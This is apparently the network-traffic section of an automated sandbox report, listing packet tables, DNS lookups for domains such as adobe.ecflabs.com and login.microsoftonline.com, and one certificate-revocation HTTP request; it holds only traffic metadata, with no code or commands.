Apr 28, 2025 09:05:04.846492052 CEST	443	49758	23.55.241.136	192.168.2.5
Apr 28, 2025 09:05:04.846729994 CEST	443	49758	23.55.241.136	192.168.2.5
Apr 28, 2025 09:05:04.852713108 CEST	49758	443	192.168.2.5	23.55.241.136
Apr 28, 2025 09:05:04.900286913 CEST	443	49758	23.55.241.136	192.168.2.5
Apr 28, 2025 09:05:04.968477964 CEST	443	49756	35.190.80.1	192.168.2.5
Apr 28, 2025 09:05:04.968558073 CEST	443	49756	35.190.80.1	192.168.2.5
Apr 28, 2025 09:05:04.968713999 CEST	49756	443	192.168.2.5	35.190.80.1
Apr 28, 2025 09:05:04.968730927 CEST	443	49756	35.190.80.1	192.168.2.5
Apr 28, 2025 09:05:04.968741894 CEST	49756	443	192.168.2.5	35.190.80.1
Apr 28, 2025 09:05:04.968775034 CEST	49756	443	192.168.2.5	35.190.80.1
Apr 28, 2025 09:05:04.969300032 CEST	49759	443	192.168.2.5	35.190.80.1
Apr 28, 2025 09:05:04.969336987 CEST	443	49759	35.190.80.1	192.168.2.5
Apr 28, 2025 09:05:04.969405890 CEST	49759	443	192.168.2.5	35.190.80.1
Apr 28, 2025 09:05:04.969532967 CEST	49759	443	192.168.2.5	35.190.80.1
Apr 28, 2025 09:05:04.969547033 CEST	443	49759	35.190.80.1	192.168.2.5
Apr 28, 2025 09:05:05.118300915 CEST	443	49757	35.190.80.1	192.168.2.5
Apr 28, 2025 09:05:05.118381977 CEST	443	49757	35.190.80.1	192.168.2.5
Apr 28, 2025 09:05:05.118463039 CEST	49757	443	192.168.2.5	35.190.80.1
Apr 28, 2025 09:05:05.118707895 CEST	49757	443	192.168.2.5	35.190.80.1
Apr 28, 2025 09:05:05.118724108 CEST	443	49757	35.190.80.1	192.168.2.5
Apr 28, 2025 09:05:05.119529963 CEST	49760	443	192.168.2.5	35.190.80.1
Apr 28, 2025 09:05:05.119570971 CEST	443	49760	35.190.80.1	192.168.2.5
Apr 28, 2025 09:05:05.119652033 CEST	49760	443	192.168.2.5	35.190.80.1
Apr 28, 2025 09:05:05.119801044 CEST	49760	443	192.168.2.5	35.190.80.1
Apr 28, 2025 09:05:05.119815111 CEST	443	49760	35.190.80.1	192.168.2.5
Apr 28, 2025 09:05:05.145248890 CEST	443	49758	23.55.241.136	192.168.2.5
Apr 28, 2025 09:05:05.145406961 CEST	443	49758	23.55.241.136	192.168.2.5
Apr 28, 2025 09:05:05.145467043 CEST	49758	443	192.168.2.5	23.55.241.136
Apr 28, 2025 09:05:05.145467043 CEST	49758	443	192.168.2.5	23.55.241.136
Apr 28, 2025 09:05:05.145507097 CEST	49758	443	192.168.2.5	23.55.241.136
Apr 28, 2025 09:05:05.146086931 CEST	49761	443	192.168.2.5	23.55.241.136
Apr 28, 2025 09:05:05.146132946 CEST	443	49761	23.55.241.136	192.168.2.5
Apr 28, 2025 09:05:05.146260023 CEST	49761	443	192.168.2.5	23.55.241.136
Apr 28, 2025 09:05:05.146425962 CEST	49761	443	192.168.2.5	23.55.241.136
Apr 28, 2025 09:05:05.146439075 CEST	443	49761	23.55.241.136	192.168.2.5
Apr 28, 2025 09:05:05.270204067 CEST	443	49759	35.190.80.1	192.168.2.5
Apr 28, 2025 09:05:05.270560026 CEST	49759	443	192.168.2.5	35.190.80.1
Apr 28, 2025 09:05:05.270579100 CEST	443	49759	35.190.80.1	192.168.2.5
Apr 28, 2025 09:05:05.271028996 CEST	49759	443	192.168.2.5	35.190.80.1
Apr 28, 2025 09:05:05.271034002 CEST	443	49759	35.190.80.1	192.168.2.5
Apr 28, 2025 09:05:05.421533108 CEST	443	49760	35.190.80.1	192.168.2.5
Apr 28, 2025 09:05:05.421860933 CEST	49760	443	192.168.2.5	35.190.80.1
Apr 28, 2025 09:05:05.421896935 CEST	443	49760	35.190.80.1	192.168.2.5
Apr 28, 2025 09:05:05.422081947 CEST	49760	443	192.168.2.5	35.190.80.1
Apr 28, 2025 09:05:05.422087908 CEST	443	49760	35.190.80.1	192.168.2.5
Apr 28, 2025 09:05:05.422116041 CEST	49760	443	192.168.2.5	35.190.80.1
Apr 28, 2025 09:05:05.422123909 CEST	443	49760	35.190.80.1	192.168.2.5
Apr 28, 2025 09:05:05.473387957 CEST	443	49761	23.55.241.136	192.168.2.5
Apr 28, 2025 09:05:05.473845005 CEST	49761	443	192.168.2.5	23.55.241.136
Apr 28, 2025 09:05:05.473886013 CEST	443	49761	23.55.241.136	192.168.2.5
Apr 28, 2025 09:05:05.474025011 CEST	49761	443	192.168.2.5	23.55.241.136
Apr 28, 2025 09:05:05.474030972 CEST	443	49761	23.55.241.136	192.168.2.5
Apr 28, 2025 09:05:05.611542940 CEST	443	49759	35.190.80.1	192.168.2.5
Apr 28, 2025 09:05:05.611634970 CEST	443	49759	35.190.80.1	192.168.2.5
Apr 28, 2025 09:05:05.611989975 CEST	49759	443	192.168.2.5	35.190.80.1
Apr 28, 2025 09:05:05.612008095 CEST	443	49759	35.190.80.1	192.168.2.5
Apr 28, 2025 09:05:05.612025023 CEST	49759	443	192.168.2.5	35.190.80.1
Apr 28, 2025 09:05:05.612056971 CEST	49759	443	192.168.2.5	35.190.80.1
Apr 28, 2025 09:05:05.758188009 CEST	443	49760	35.190.80.1	192.168.2.5
Apr 28, 2025 09:05:05.758256912 CEST	443	49760	35.190.80.1	192.168.2.5
Apr 28, 2025 09:05:05.758629084 CEST	49760	443	192.168.2.5	35.190.80.1
Apr 28, 2025 09:05:05.758663893 CEST	443	49760	35.190.80.1	192.168.2.5
Apr 28, 2025 09:05:05.758680105 CEST	49760	443	192.168.2.5	35.190.80.1
Apr 28, 2025 09:05:05.758714914 CEST	49760	443	192.168.2.5	35.190.80.1
Apr 28, 2025 09:05:05.837203026 CEST	443	49761	23.55.241.136	192.168.2.5
Apr 28, 2025 09:05:05.837271929 CEST	443	49761	23.55.241.136	192.168.2.5
Apr 28, 2025 09:05:05.837399960 CEST	49761	443	192.168.2.5	23.55.241.136
Apr 28, 2025 09:05:05.837810040 CEST	49761	443	192.168.2.5	23.55.241.136
Apr 28, 2025 09:05:05.837827921 CEST	443	49761	23.55.241.136	192.168.2.5
Apr 28, 2025 09:05:10.411194086 CEST	443	49753	192.178.49.196	192.168.2.5
Apr 28, 2025 09:05:10.411256075 CEST	443	49753	192.178.49.196	192.168.2.5
Apr 28, 2025 09:05:10.411360025 CEST	49753	443	192.168.2.5	192.178.49.196
Apr 28, 2025 09:05:10.949894905 CEST	49753	443	192.168.2.5	192.178.49.196
Apr 28, 2025 09:05:10.949919939 CEST	443	49753	192.178.49.196	192.168.2.5
Apr 28, 2025 09:05:11.320951939 CEST	49764	443	192.168.2.5	20.190.190.194
Apr 28, 2025 09:05:11.321008921 CEST	443	49764	20.190.190.194	192.168.2.5
Apr 28, 2025 09:05:11.321083069 CEST	49764	443	192.168.2.5	20.190.190.194
Apr 28, 2025 09:05:11.321223974 CEST	49765	443	192.168.2.5	20.190.190.194
Apr 28, 2025 09:05:11.321263075 CEST	443	49765	20.190.190.194	192.168.2.5
Apr 28, 2025 09:05:11.321316957 CEST	49765	443	192.168.2.5	20.190.190.194
Apr 28, 2025 09:05:11.321429968 CEST	49764	443	192.168.2.5	20.190.190.194
Apr 28, 2025 09:05:11.321445942 CEST	443	49764	20.190.190.194	192.168.2.5
Apr 28, 2025 09:05:11.321521044 CEST	49765	443	192.168.2.5	20.190.190.194
Apr 28, 2025 09:05:11.321535110 CEST	443	49765	20.190.190.194	192.168.2.5
Apr 28, 2025 09:05:11.753030062 CEST	443	49765	20.190.190.194	192.168.2.5
Apr 28, 2025 09:05:11.753382921 CEST	49765	443	192.168.2.5	20.190.190.194
Apr 28, 2025 09:05:11.753415108 CEST	443	49765	20.190.190.194	192.168.2.5
Apr 28, 2025 09:05:11.753580093 CEST	49765	443	192.168.2.5	20.190.190.194
Apr 28, 2025 09:05:11.753587008 CEST	443	49765	20.190.190.194	192.168.2.5
Apr 28, 2025 09:05:11.757880926 CEST	443	49764	20.190.190.194	192.168.2.5
Apr 28, 2025 09:05:11.758157015 CEST	49764	443	192.168.2.5	20.190.190.194
Apr 28, 2025 09:05:11.758191109 CEST	443	49764	20.190.190.194	192.168.2.5
Apr 28, 2025 09:05:12.086767912 CEST	443	49765	20.190.190.194	192.168.2.5
Apr 28, 2025 09:05:12.086867094 CEST	443	49765	20.190.190.194	192.168.2.5
Apr 28, 2025 09:05:12.087052107 CEST	49765	443	192.168.2.5	20.190.190.194
Apr 28, 2025 09:05:12.088145018 CEST	49765	443	192.168.2.5	20.190.190.194
Apr 28, 2025 09:05:12.088166952 CEST	443	49765	20.190.190.194	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 28, 2025 09:03:55.687865019 CEST	53	53075	1.1.1.1	192.168.2.5
Apr 28, 2025 09:03:55.740556955 CEST	53	60433	1.1.1.1	192.168.2.5
Apr 28, 2025 09:03:56.754640102 CEST	53	54547	1.1.1.1	192.168.2.5
Apr 28, 2025 09:03:56.820959091 CEST	53	50954	1.1.1.1	192.168.2.5
Apr 28, 2025 09:04:00.057459116 CEST	59646	53	192.168.2.5	1.1.1.1
Apr 28, 2025 09:04:00.057804108 CEST	63997	53	192.168.2.5	1.1.1.1
Apr 28, 2025 09:04:00.197823048 CEST	53	59646	1.1.1.1	192.168.2.5
Apr 28, 2025 09:04:00.198015928 CEST	53	63997	1.1.1.1	192.168.2.5
Apr 28, 2025 09:04:01.545495987 CEST	58641	53	192.168.2.5	1.1.1.1
Apr 28, 2025 09:04:01.545849085 CEST	53348	53	192.168.2.5	1.1.1.1
Apr 28, 2025 09:04:02.074131012 CEST	53	53348	1.1.1.1	192.168.2.5
Apr 28, 2025 09:04:02.076788902 CEST	53	58641	1.1.1.1	192.168.2.5
Apr 28, 2025 09:04:03.473680019 CEST	54775	53	192.168.2.5	1.1.1.1
Apr 28, 2025 09:04:03.474015951 CEST	50942	53	192.168.2.5	1.1.1.1
Apr 28, 2025 09:04:03.660509109 CEST	53	50942	1.1.1.1	192.168.2.5
Apr 28, 2025 09:04:03.684371948 CEST	53	54775	1.1.1.1	192.168.2.5
Apr 28, 2025 09:04:04.319780111 CEST	60718	53	192.168.2.5	1.1.1.1
Apr 28, 2025 09:04:04.319937944 CEST	63747	53	192.168.2.5	1.1.1.1
Apr 28, 2025 09:04:04.461291075 CEST	53	60718	1.1.1.1	192.168.2.5
Apr 28, 2025 09:04:04.461863041 CEST	53	63747	1.1.1.1	192.168.2.5
Apr 28, 2025 09:04:05.845225096 CEST	64661	53	192.168.2.5	1.1.1.1
Apr 28, 2025 09:04:05.845472097 CEST	54485	53	192.168.2.5	1.1.1.1
Apr 28, 2025 09:04:05.985694885 CEST	53	64661	1.1.1.1	192.168.2.5
Apr 28, 2025 09:04:05.985742092 CEST	53	54485	1.1.1.1	192.168.2.5
Apr 28, 2025 09:04:06.630983114 CEST	62931	53	192.168.2.5	1.1.1.1
Apr 28, 2025 09:04:06.631160975 CEST	54099	53	192.168.2.5	1.1.1.1
Apr 28, 2025 09:04:06.691402912 CEST	53421	53	192.168.2.5	1.1.1.1
Apr 28, 2025 09:04:06.691935062 CEST	57737	53	192.168.2.5	1.1.1.1
Apr 28, 2025 09:04:06.770061970 CEST	62732	53	192.168.2.5	1.1.1.1
Apr 28, 2025 09:04:06.770343065 CEST	50070	53	192.168.2.5	1.1.1.1
Apr 28, 2025 09:04:06.771173000 CEST	53	62931	1.1.1.1	192.168.2.5
Apr 28, 2025 09:04:06.771545887 CEST	53	54099	1.1.1.1	192.168.2.5
Apr 28, 2025 09:04:06.866580963 CEST	53	53421	1.1.1.1	192.168.2.5
Apr 28, 2025 09:04:06.877240896 CEST	53	57737	1.1.1.1	192.168.2.5
Apr 28, 2025 09:04:06.977020979 CEST	53	62732	1.1.1.1	192.168.2.5
Apr 28, 2025 09:04:06.986709118 CEST	53	50070	1.1.1.1	192.168.2.5
Apr 28, 2025 09:04:08.647212982 CEST	60038	53	192.168.2.5	1.1.1.1
Apr 28, 2025 09:04:08.647699118 CEST	60654	53	192.168.2.5	1.1.1.1
Apr 28, 2025 09:04:08.787401915 CEST	53	60038	1.1.1.1	192.168.2.5
Apr 28, 2025 09:04:08.787782907 CEST	53	60654	1.1.1.1	192.168.2.5
Apr 28, 2025 09:04:13.979921103 CEST	53	50336	1.1.1.1	192.168.2.5
Apr 28, 2025 09:04:22.360275984 CEST	53072	53	192.168.2.5	1.1.1.1
Apr 28, 2025 09:04:22.360450983 CEST	56058	53	192.168.2.5	1.1.1.1
Apr 28, 2025 09:04:22.500612974 CEST	53	53072	1.1.1.1	192.168.2.5
Apr 28, 2025 09:04:22.500718117 CEST	53	56058	1.1.1.1	192.168.2.5
Apr 28, 2025 09:04:23.239567995 CEST	53	58504	1.1.1.1	192.168.2.5
Apr 28, 2025 09:04:23.345424891 CEST	53	64847	1.1.1.1	192.168.2.5
Apr 28, 2025 09:04:32.838980913 CEST	53	57969	1.1.1.1	192.168.2.5
Apr 28, 2025 09:04:53.935169935 CEST	138	138	192.168.2.5	192.168.2.255
Apr 28, 2025 09:04:55.206660986 CEST	60889	53	192.168.2.5	1.1.1.1
Apr 28, 2025 09:04:55.206819057 CEST	52721	53	192.168.2.5	1.1.1.1
Apr 28, 2025 09:04:55.349786043 CEST	53	60889	1.1.1.1	192.168.2.5
Apr 28, 2025 09:04:55.421125889 CEST	53	52721	1.1.1.1	192.168.2.5
Apr 28, 2025 09:04:55.537621021 CEST	53	65009	1.1.1.1	192.168.2.5
Apr 28, 2025 09:04:55.549382925 CEST	53	59321	1.1.1.1	192.168.2.5
Apr 28, 2025 09:04:59.010363102 CEST	53	60378	1.1.1.1	192.168.2.5
Apr 28, 2025 09:05:02.109863997 CEST	51217	53	192.168.2.5	1.1.1.1
Apr 28, 2025 09:05:02.110258102 CEST	49821	53	192.168.2.5	1.1.1.1
Apr 28, 2025 09:05:02.250144005 CEST	53	51217	1.1.1.1	192.168.2.5
Apr 28, 2025 09:05:02.250899076 CEST	53	49821	1.1.1.1	192.168.2.5
Apr 28, 2025 09:05:04.323689938 CEST	56495	53	192.168.2.5	1.1.1.1
Apr 28, 2025 09:05:04.323880911 CEST	51506	53	192.168.2.5	1.1.1.1
Apr 28, 2025 09:05:04.324276924 CEST	53166	53	192.168.2.5	1.1.1.1
Apr 28, 2025 09:05:04.324520111 CEST	52729	53	192.168.2.5	1.1.1.1
Apr 28, 2025 09:05:04.464338064 CEST	53	56495	1.1.1.1	192.168.2.5
Apr 28, 2025 09:05:04.473290920 CEST	53	51506	1.1.1.1	192.168.2.5
Apr 28, 2025 09:05:04.492228031 CEST	53	52729	1.1.1.1	192.168.2.5
Apr 28, 2025 09:05:04.498316050 CEST	53	53166	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Apr 28, 2025 09:03:56.713042021 CEST	192.168.2.5	1.1.1.1	c1fa	(Port unreachable)	Destination Unreachable
Apr 28, 2025 09:04:55.421195030 CEST	192.168.2.5	1.1.1.1	c226	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 28, 2025 09:04:00.057459116 CEST	192.168.2.5	1.1.1.1	0x2601	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:04:00.057804108 CEST	192.168.2.5	1.1.1.1	0xc3d2	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 28, 2025 09:04:01.545495987 CEST	192.168.2.5	1.1.1.1	0x304e	Standard query (0)	www.01caijing.com	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:04:01.545849085 CEST	192.168.2.5	1.1.1.1	0xd957	Standard query (0)	www.01caijing.com	65	IN (0x0001)	false
Apr 28, 2025 09:04:03.473680019 CEST	192.168.2.5	1.1.1.1	0xe7cc	Standard query (0)	adp.phpmyrealty.com	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:04:03.474015951 CEST	192.168.2.5	1.1.1.1	0xa75d	Standard query (0)	adp.phpmyrealty.com	65	IN (0x0001)	false
Apr 28, 2025 09:04:04.319780111 CEST	192.168.2.5	1.1.1.1	0x9f11	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:04:04.319937944 CEST	192.168.2.5	1.1.1.1	0x7cb4	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Apr 28, 2025 09:04:05.845225096 CEST	192.168.2.5	1.1.1.1	0x1d12	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:04:05.845472097 CEST	192.168.2.5	1.1.1.1	0x4af0	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 28, 2025 09:04:06.630983114 CEST	192.168.2.5	1.1.1.1	0x1379	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:04:06.631160975 CEST	192.168.2.5	1.1.1.1	0xe935	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 28, 2025 09:04:06.691402912 CEST	192.168.2.5	1.1.1.1	0xe259	Standard query (0)	adp.phpmyrealty.com	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:04:06.691935062 CEST	192.168.2.5	1.1.1.1	0xc556	Standard query (0)	adp.phpmyrealty.com	65	IN (0x0001)	false
Apr 28, 2025 09:04:06.770061970 CEST	192.168.2.5	1.1.1.1	0xbf72	Standard query (0)	adobe.ecflabs.com	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:04:06.770343065 CEST	192.168.2.5	1.1.1.1	0xd228	Standard query (0)	adobe.ecflabs.com	65	IN (0x0001)	false
Apr 28, 2025 09:04:08.647212982 CEST	192.168.2.5	1.1.1.1	0x8929	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:04:08.647699118 CEST	192.168.2.5	1.1.1.1	0x2fcf	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 28, 2025 09:04:22.360275984 CEST	192.168.2.5	1.1.1.1	0xf7b4	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:04:22.360450983 CEST	192.168.2.5	1.1.1.1	0x99dc	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 28, 2025 09:04:55.206660986 CEST	192.168.2.5	1.1.1.1	0x2999	Standard query (0)	adobe.ecflabs.com	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:04:55.206819057 CEST	192.168.2.5	1.1.1.1	0x40e	Standard query (0)	adobe.ecflabs.com	65	IN (0x0001)	false
Apr 28, 2025 09:05:02.109863997 CEST	192.168.2.5	1.1.1.1	0x93c6	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:05:02.110258102 CEST	192.168.2.5	1.1.1.1	0x325a	Standard query (0)	login.microsoftonline.com	65	IN (0x0001)	false
Apr 28, 2025 09:05:04.323689938 CEST	192.168.2.5	1.1.1.1	0x63d5	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:05:04.323880911 CEST	192.168.2.5	1.1.1.1	0xa9ec	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Apr 28, 2025 09:05:04.324276924 CEST	192.168.2.5	1.1.1.1	0xdcf5	Standard query (0)	identity.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:05:04.324520111 CEST	192.168.2.5	1.1.1.1	0x4097	Standard query (0)	identity.nel.measure.office.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 28, 2025 09:04:00.197823048 CEST	1.1.1.1	192.168.2.5	0x2601	No error (0)	www.google.com		192.178.49.196	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:04:00.198015928 CEST	1.1.1.1	192.168.2.5	0xc3d2	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 28, 2025 09:04:02.076788902 CEST	1.1.1.1	192.168.2.5	0x304e	No error (0)	www.01caijing.com		182.92.145.92	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:04:03.660509109 CEST	1.1.1.1	192.168.2.5	0xa75d	No error (0)	adp.phpmyrealty.com			65	IN (0x0001)	false
Apr 28, 2025 09:04:03.684371948 CEST	1.1.1.1	192.168.2.5	0xe7cc	No error (0)	adp.phpmyrealty.com		172.67.215.23	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:04:03.684371948 CEST	1.1.1.1	192.168.2.5	0xe7cc	No error (0)	adp.phpmyrealty.com		104.21.78.21	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:04:04.461291075 CEST	1.1.1.1	192.168.2.5	0x9f11	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:04:05.985694885 CEST	1.1.1.1	192.168.2.5	0x1d12	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:04:05.985694885 CEST	1.1.1.1	192.168.2.5	0x1d12	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:04:05.985742092 CEST	1.1.1.1	192.168.2.5	0x4af0	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Apr 28, 2025 09:04:06.771173000 CEST	1.1.1.1	192.168.2.5	0x1379	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:04:06.771173000 CEST	1.1.1.1	192.168.2.5	0x1379	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:04:06.771545887 CEST	1.1.1.1	192.168.2.5	0xe935	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Apr 28, 2025 09:04:06.866580963 CEST	1.1.1.1	192.168.2.5	0xe259	No error (0)	adp.phpmyrealty.com		104.21.78.21	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:04:06.866580963 CEST	1.1.1.1	192.168.2.5	0xe259	No error (0)	adp.phpmyrealty.com		172.67.215.23	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:04:06.877240896 CEST	1.1.1.1	192.168.2.5	0xc556	No error (0)	adp.phpmyrealty.com			65	IN (0x0001)	false
Apr 28, 2025 09:04:06.977020979 CEST	1.1.1.1	192.168.2.5	0xbf72	No error (0)	adobe.ecflabs.com		212.81.47.195	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:04:08.787401915 CEST	1.1.1.1	192.168.2.5	0x8929	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:04:08.787401915 CEST	1.1.1.1	192.168.2.5	0x8929	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:04:08.787782907 CEST	1.1.1.1	192.168.2.5	0x2fcf	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Apr 28, 2025 09:04:22.500612974 CEST	1.1.1.1	192.168.2.5	0xf7b4	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:04:22.500612974 CEST	1.1.1.1	192.168.2.5	0xf7b4	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:04:22.500718117 CEST	1.1.1.1	192.168.2.5	0x99dc	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Apr 28, 2025 09:04:55.349786043 CEST	1.1.1.1	192.168.2.5	0x2999	No error (0)	adobe.ecflabs.com		212.81.47.195	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:05:02.250144005 CEST	1.1.1.1	192.168.2.5	0x93c6	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2025 09:05:02.250144005 CEST	1.1.1.1	192.168.2.5	0x93c6	No error (0)	login.mso.msidentity.com	ak.privatelink.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2025 09:05:02.250144005 CEST	1.1.1.1	192.168.2.5	0x93c6	No error (0)	ak.privatelink.msidentity.com	www.tm.a.prd.aadg.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2025 09:05:02.250144005 CEST	1.1.1.1	192.168.2.5	0x93c6	No error (0)	www.tm.a.prd.aadg.trafficmanager.net		20.190.190.194	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:05:02.250144005 CEST	1.1.1.1	192.168.2.5	0x93c6	No error (0)	www.tm.a.prd.aadg.trafficmanager.net		20.190.190.196	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:05:02.250144005 CEST	1.1.1.1	192.168.2.5	0x93c6	No error (0)	www.tm.a.prd.aadg.trafficmanager.net		40.126.62.129	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:05:02.250144005 CEST	1.1.1.1	192.168.2.5	0x93c6	No error (0)	www.tm.a.prd.aadg.trafficmanager.net		40.126.62.130	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:05:02.250144005 CEST	1.1.1.1	192.168.2.5	0x93c6	No error (0)	www.tm.a.prd.aadg.trafficmanager.net		20.190.190.193	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:05:02.250144005 CEST	1.1.1.1	192.168.2.5	0x93c6	No error (0)	www.tm.a.prd.aadg.trafficmanager.net		20.190.190.132	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:05:02.250144005 CEST	1.1.1.1	192.168.2.5	0x93c6	No error (0)	www.tm.a.prd.aadg.trafficmanager.net		20.190.190.131	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:05:02.250144005 CEST	1.1.1.1	192.168.2.5	0x93c6	No error (0)	www.tm.a.prd.aadg.trafficmanager.net		20.190.190.130	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:05:02.250899076 CEST	1.1.1.1	192.168.2.5	0x325a	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2025 09:05:02.250899076 CEST	1.1.1.1	192.168.2.5	0x325a	No error (0)	login.mso.msidentity.com	ak.privatelink.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2025 09:05:02.250899076 CEST	1.1.1.1	192.168.2.5	0x325a	No error (0)	ak.privatelink.msidentity.com	www.tm.a.prd.aadg.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2025 09:05:04.464338064 CEST	1.1.1.1	192.168.2.5	0x63d5	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:05:04.492228031 CEST	1.1.1.1	192.168.2.5	0x4097	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2025 09:05:04.492228031 CEST	1.1.1.1	192.168.2.5	0x4097	No error (0)	nel.measure.office.net.edgesuite.net	a1894.dscb.akamai.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2025 09:05:04.498316050 CEST	1.1.1.1	192.168.2.5	0xdcf5	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2025 09:05:04.498316050 CEST	1.1.1.1	192.168.2.5	0xdcf5	No error (0)	nel.measure.office.net.edgesuite.net	a1894.dscb.akamai.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2025 09:05:04.498316050 CEST	1.1.1.1	192.168.2.5	0xdcf5	No error (0)	a1894.dscb.akamai.net		23.55.241.136	A (IP address)	IN (0x0001)	false
Apr 28, 2025 09:05:04.498316050 CEST	1.1.1.1	192.168.2.5	0xdcf5	No error (0)	a1894.dscb.akamai.net		23.55.241.139	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.01caijing.com

adp.phpmyrealty.com

a.nel.cloudflare.com

challenges.cloudflare.com

adobe.ecflabs.com

identity.nel.measure.office.net

c.pki.goog

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.5	49696	192.178.49.195	80

Timestamp	Bytes transferred	Direction	Data
Apr 28, 2025 09:03:56.038841009 CEST	200	OUT	GET /r/r4.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Apr 28, 2025 09:03:56.187174082 CEST	1243	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 530 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon, 28 Apr 2025 06:40:42 GMT Expires: Mon, 28 Apr 2025 07:30:42 GMT Cache-Control: public, max-age=3000 Age: 1394 Last-Modified: Thu, 03 Apr 2025 14:18:00 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding Data Raw: 30 82 02 0e 30 82 01 93 02 01 01 30 0a 06 08 2a 86 48 ce 3d 04 03 03 30 47 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 22 30 